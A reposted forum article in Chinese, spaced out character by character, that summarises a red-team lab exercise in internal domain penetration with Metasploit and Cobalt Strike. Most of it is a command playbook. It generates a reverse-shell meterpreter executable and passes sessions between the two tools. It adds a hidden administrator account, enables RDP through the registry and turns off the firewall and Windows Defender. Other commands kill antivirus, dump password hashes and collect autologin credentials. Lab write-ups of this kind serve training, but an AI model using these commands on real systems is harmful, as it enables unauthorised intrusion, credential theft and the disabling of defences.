搜索

[18100] 2020-07-24_Metasploit和Cobaltstrike内网域渗透分析（实战总结）

文档创建者：s7ckTeam
浏览次数：38
最后更新：2025-01-18
2020-07-24_Metasploit和Cobaltstrike内网域渗透分析（实战总结） M e t a s p l o i t 和 C o b a l t s t r i k e 内 网 域 渗 透 分 析 （ 实 战 总 结 ） w i n d c c t v   H A C K 之 道   2 0 2 0 - 0 7 - 2 4 陆 陆 续 续 将 v u l n s t a c k 上 面 A T T & C K 实 战 系 列 红 队 靶 场 都 完 成 了 一 遍 ， 收 获 良 多 ， 以 前 内 网 渗 透 方 面 域 渗 透 的 概 念 较 为 模 糊 ， 经 过 实 战 靶 场 训 练 ， 有 了 初 步 的 认 识 。 掌 握 了 常 见 的 攻 击 手 段 、 思 路 、 方 法 以 及 工 具 的 熟 练 使 用 ， 在 此 做 个 总 结 与 大 家 分 享 。 一 、 测 试 环 境 搭 建 一 、 测 试 环 境 搭 建 靶 场 常 见 的 网 络 拓 扑 环 境 如 下 ： w e b 服 务 器 安 装 有 双 网 卡 ， 一 块 网 卡 连 接 互 联 网 ， 一 块 网 卡 连 接 内 网 ， 内 网 里 的 机 器 是 无 法 直 接 连 接 互 联 网 的 。 我 们 使 用 v m w a r e 来 模 拟 上 述 环 境 ， 配 置 网 卡 如 下 ： 我 们 甚 至 还 可 以 将 w e b 服 务 器 的 上 网 网 卡 N A T 改 为 自 定 义 V M n e t 3 ， 将 攻 击 机 的 网 卡 也 改 为 V M n e t 3 ， 这 样 的 好 处 是 整 个 渗 透 测 试 过 程 既 保 证 了 网 络 都 是 通 的 ， 又 保 证 了 i p 不 会 发 生 变 化 ， 利 于 我 们 持 续 的 作 渗 透 ， i p 自 定 义 为 我 们 便 于 记 忆 数 字 ， 提 高 我 们 的 效 率 。 （ 有 时 候 6 个 以 上 虚 拟 机 同 时 开 着 ， 时 不 时 忘 了 i p 又 得 来 回 切 换 真 的 很 痛 苦 ） 二 、 如 何 拿 下 二 、 如 何 拿 下 w e b 服 务 器 服 务 器
搭 建 好 测 试 环 境 后 ， 第 一 步 是 开 始 对 w e b 服 务 器 进 行 渗 透 。 因 为 w e b 服 务 器 同 时 连 接 了 外 网 和 内 网 ， 所 以 必 须 首 先 拿 下 。 这 里 有 关 w e b 服 务 器 的 渗 透 不 展 开 讲 了 ， 无 非 也 就 是 利 用 漏 洞 ， 诸 如 ： 弱 口 令 、 上 传 漏 洞 、 远 程 代 码 执 行 、 各 种 c m s 漏 洞 ， 总 之 都 是 可 以 找 到 写 入 w e b s h e l l 的 方 法 。 对 于 靶 场 来 说 ， 最 直 接 的 方 法 就 是 查 找 网 站 的 指 纹 ， 然 后 去 找 对 应 的 漏 洞 进 行 利 用 。 成 功 写 入 w e b s h e l l 后 ， 接 着 就 要 上 传 木 马 控 制 w e b 服 务 器 ， 这 里 可 以 用 M e t a s p l o i t （ 以 下 简 称 ： M S F ） 或 C o b a l t s t r i k e （ 以 下 简 称 C S ） 。 用 n m a p 扫 描 下 端 口 还 是 很 必 要 的 ： n m a p   - s S   - n   - A   1 9 2 . 1 6 8 . 1 6 7 . 1 3 0 效 果 还 是 很 不 错 的 ， 虽 然 w e b 服 务 器 的 防 火 墙 和 3 6 0 都 是 开 着 的 ； 1 、 、 M S F 生 成 木 马 控 制 服 务 器 的 方 法 生 成 木 马 控 制 服 务 器 的 方 法 我 们 以 w i n d o w s 木 马 为 例 进 行 讲 解 ： r o o t @ k a l i : ~ #   m s f v e n o m   - p   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 1 6 4 . 1 3 4     L P O R T = 4 4 4 4   - f   e x e   >   s h e l l . e x e u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p s e t   l h o s t   1 9 2 . 1 6 8 . 1 6 4 . 1 3 4 s e t   l p o r t   4 4 4 4 e x p l o i t m e t e r p r e t e r 的 进 入 与 退 出 :
常 规 动 作 先 提 权 ； 执 行 r u n   p o s t / w i n d o w s / m a n a g e / e n a b l e _ r d p 模 块 来 打 开 远 程 桌 面 ； 2 、 、 C S 生 成 木 马 控 制 服 务 器 的 方 法 生 成 木 马 控 制 服 务 器 的 方 法 启 动 C S 服 务 器 端 ： 启 动 C S 客 户 端 ： 配 置 好 监 听 器 ：
生 成 后 门 、 上 传 、 执 行 一 气 呵 成 ； 成 功 连 接 ， 由 于 受 害 机 默 认 6 0 秒 进 行 一 次 回 传 ， 为 了 实 验 效 果 我 们 这 里 把 时 间 设 置 成 1 ， s l e e p   1 ； C S 安 装 插 件 ， 扩 展 其 功 能 ：
提 权 成 功 ， 可 看 到 多 出 一 个 通 道 ： 3 、 、 M S F 与 与 C S 会 话 互 通 会 话 互 通 因 为 两 个 工 具 不 同 的 特 点 ， 想 同 时 使 用 也 是 可 以 的 ， 只 需 要 进 行 下 会 话 互 传 。 （ （ 1 ） ） M S F 派 生 给 派 生 给 C S 先 创 建 监 听 器 ： 打 开 m s f ， 使 用 p a y l o a d _ i n j e c t 模 块 注 入 到 c o b a l t   s t r i k e ， 注 意 使 用 的 p a y l o a d 要 和 c s 的 一 致 为 r e v e r s e _ h t t p ， 因 为 c s 监 听 的 是 r e v e r s e _ h t t p 。
m e t e r p r e t e r   >   b a c k g r o u n d m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   u s e   e x p l o i t / w i n d o w s / l o c a l / p a y l o a d _ i n j e c t             #   设 置 与 c s 相 同 的 p a y l o a d ； m s f 5   e x p l o i t ( w i n d o w s / l o c a l / p a y l o a d _ i n j e c t )   >   s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p m s f 5   e x p l o i t ( w i n d o w s / l o c a l / p a y l o a d _ i n j e c t )   >   s e t   l h o s t   1 9 2 . 1 6 8 . 1 0 . 1 2 8 m s f 5   e x p l o i t ( w i n d o w s / l o c a l / p a y l o a d _ i n j e c t )   >   s e t   l p o r t   4 4 4 4           #   设 置 刚 才 获 得 s e s s i o n m s f 5   e x p l o i t ( w i n d o w s / l o c a l / p a y l o a d _ i n j e c t )   >   s e t   s e s s i o n   1 m s f 5   e x p l o i t ( w i n d o w s / l o c a l / p a y l o a d _ i n j e c t )   >   s e t   d i s a b l e p a y l o a d h a n d l e r   t r u e m s f 5   e x p l o i t ( w i n d o w s / l o c a l / p a y l o a d _ i n j e c t )   >   r u n （ （ 2 ） ） C S 派 生 给 派 生 给 M S F 这 里 进 行 一 个 操 作 ， 将 会 话 分 给 m s f 一 个 ； m s f 如 下 操 作 ： m s f   >   u s e   e x p l o i t / m u l t i / h a n d l e r m s f   e x p l o i t ( h a n d l e r )   >   s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p p a y l o a d   = >   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p m s f   e x p l o i t ( h a n d l e r )   >   s e t   l h o s t   1 9 2 . 1 6 8 . 1 6 4 . 1 3 4 l h o s t   = >   1 9 2 . 1 6 8 . 1 6 4 . 1 3 4 m s f   e x p l o i t ( h a n d l e r )   >   s e t   l p o r t   5 5 5 5 l p o r t   = >   5 5 5 5 m s f   e x p l o i t ( h a n d l e r )   >   e x p l o i t C S 这 边 先 新 增 监 听 器 ， 然 后 选 增 加 会 话 ， 即 s p a w n ：
成 功 后 ： 二 、 内 网 的 横 向 移 动 二 、 内 网 的 横 向 移 动 打 入 内 网 后 ， 首 先 要 进 行 的 就 是 信 息 收 集 ， 弄 清 楚 内 网 有 哪 些 网 段 ， 域 控 是 哪 个 ， 域 用 户 有 哪 些 等 重 要 信 息 ， 为 后 续 的 渗 透 提 供 支 持 。 1 、 内 网 信 息 收 集 、 内 网 信 息 收 集 （ （ 1 ） ） d o s 命 令 的 方 式 命 令 的 方 式 先 进 行 基 本 信 息 的 收 集 ： 在 提 权 成 功 的 情 况 下 ， 以 s y s t e m 的 身 份 来 运 行 下 列 命 令 ， 大 部 分 都 有 回 显 ， 不 会 报 错 ；
i p c o n f i g   / a l l       查 看 本 机 i p ， 所 在 域 r o u t e   p r i n t           打 印 路 由 信 息 n e t   v i e w                 查 看 局 域 网 内 其 他 主 机 名 a r p   - a                     查 看 a r p 缓 存 n e t   s t a r t               查 看 开 启 了 哪 些 服 务 n e t   s h a r e               查 看 开 启 了 哪 些 共 享 n e t   s h a r e   i p c $     开 启 i p c 共 享 n e t   s h a r e   c $         开 启 c 盘 共 享 n e t   u s e   1 9 2 . 1 6 8 . x x . x x i p c $   " "   / u s e r : " "       与 1 9 2 . 1 6 8 . x x . x x 建 立 空 连 接 n e t   u s e   1 9 2 . 1 6 8 . x x . x x c $   " 密 码 "   / u s e r : " 用 户 名 "     建 立 c 盘 共 享 d i r   1 9 2 . 1 6 8 . x x . x x c $ u s e r         查 看 1 9 2 . 1 6 8 . x x . x x   c 盘 u s e r 目 录 下 的 文 件 n e t   c o n f i g   W o r k s t a t i o n       查 看 计 算 机 名 、 全 名 、 用 户 名 、 系 统 版 本 、 工 作 站 、 域 、 登 录 域 n e t   u s e r                                   查 看 本 机 用 户 列 表 n e t   t i m e   / d o m a i n                 # 查 看 时 间 服 务 器 ， 判 断 主 域 ， 主 域 服 务 器 都 做 时 间 服 务 器 n e t   u s e r   / d o m a i n                   查 看 域 用 户 n e t   l o c a l g r o u p   a d m i n i s t r a t o r s       查 看 本 地 管 理 员 组 （ 通 常 会 有 域 用 户 ） n e t   v i e w   / d o m a i n                   查 看 有 几 个 域 n e t   u s e r   用 户 名   / d o m a i n       获 取 指 定 域 用 户 的 信 息 n e t   g r o u p   / d o m a i n                 查 看 域 里 面 的 工 作 组 ， 查 看 把 用 户 分 了 多 少 组 （ 只 能 在 域 控 上 操 作 ） n e t   g r o u p   组 名   / d o m a i n         查 看 域 中 某 工 作 组 n e t   g r o u p   " d o m a i n   a d m i n s "   / d o m a i n     查 看 域 管 理 员 的 名 字 n e t   g r o u p   " d o m a i n   c o m p u t e r s "   / d o m a i n     查 看 域 中 的 其 他 主 机 名 n e t   g r o u p   " d o a m i n   c o n t r o l l e r s "   / d o m a i n     查 看 域 控 制 器 （ 可 能 有 多 台 ） 渗 透 过 程 中 可 能 用 到 的 d o s 命 令 也 在 这 一 并 讲 了 ： n e t   u s e r   h a c k   h a c k 1 2 3   / a d d n e t   l o c a l g r o u p   a d m i n i s t r a t o r   h a c k   / a d d n e t   l o c a l g r o u p   " R e m o t e   D e s k t o p   U s e r s "   h a c k   / a d d 开 启 3 3 8 9 ； R E G   A D D   H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l "   " S e r v e r   / v   f D e n y T S C o n n e c t i o n s   / t   R E G _ D W O R D   / d   0 0 0 0 0 0 0 0   / f n e t s h   a d v f i r e w a l l   s e t   a l l p r o f i l e s   s t a t e   o f f                 # 关 闭 防 火 墙 n e t   s t o p   w i n d e f e n d （ （ 2 ） ） M S F 模 块 信 息 收 集 模 块 信 息 收 集 抓 取 密 码 的 方 法 :
p s 命 令 查 看 进 程 I D ， 一 般 选 择 e x p l o r e r . e x e 对 应 的 P I D ： 探 测 域 内 存 活 主 机 ： 域 控 列 表 ： 所 有 存 活 主 机 ：
更 多 的 就 不 一 一 演 示 和 截 图 了 ， 以 列 表 的 方 式 提 供 给 大 家 ， 在 实 际 渗 透 中 灵 活 选 用 ： P o s t   后 渗 透 模 块 r u n   p o s t / w i n d o w s / m a n a g e / m i g r a t e                       # 自 动 进 程 迁 移 r u n   p o s t / w i n d o w s / g a t h e r / c h e c k v m                       # 查 看 目 标 主 机 是 否 运 行 在 虚 拟 机 上 r u n   p o s t / w i n d o w s / m a n a g e / k i l l a v                         # 关 闭 杀 毒 软 件 r u n   p o s t / w i n d o w s / m a n a g e / e n a b l e _ r d p                 # 开 启 远 程 桌 面 服 务 r u n   p o s t / w i n d o w s / m a n a g e / a u t o r o u t e                   # 查 看 路 由 信 息 r u n   p o s t / w i n d o w s / g a t h e r / e n u m _ l o g g e d _ o n _ u s e r s         # 列 举 当 前 登 录 的 用 户 r u n   p o s t / w i n d o w s / g a t h e r / e n u m _ a p p l i c a t i o n s               # 列 举 应 用 程 序 r u n   p o s t / w i n d o w s / g a t h e r / c r e d e n t i a l s / w i n d o w s _ a u t o l o g i n   # 抓 取 自 动 登 录 的 用 户 名 和 密 码 r u n   p o s t / w i n d o w s / g a t h e r / s m a r t _ h a s h d u m p                               # d u m p 出 所 有 用 户 的 h a s h r u n   g e t g u i   - u   h a c k   - p   1 2 3 r u n   p o s t / w i n d o w s / g a t h e r / e n u m _ p a t c h e s       补 丁 信 息 r u n     p o s t / m u l t i / r e c o n / l o c a l _ e x p l o i t _ s u g g e s t e r       查 询 可 利 用 的 漏 洞 有 时 候 无 法 使 用 后 渗 透 模 块 添 加 用 户 可 以 使 用 s h e l l 自 主 添 加 n e t   u s e r   h a c k   Z y x 9 6 0 7 0 6   / a d d n e t   l o c a l g r o u p   a d m i n i s t r a t o r   h a c k   / a d d n e t s h   a d v f i r e w a l l   s e t   a l l p r o f i l e s   s t a t e   o f f                 # 关 闭 防 火 墙 n e t   s t o p   w i n d e f e n d r u n   p o s t / w i n d o w s / g a t h e r / e n u m _ p a t c h e s       补 丁 信 息 r u n     p o s t / m u l t i / r e c o n / l o c a l _ e x p l o i t _ s u g g e s t e r       查 询 可 利 用 的 漏 洞 域 内 存 活 主 机 探 测 （ 系 统 、 端 口 ）
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理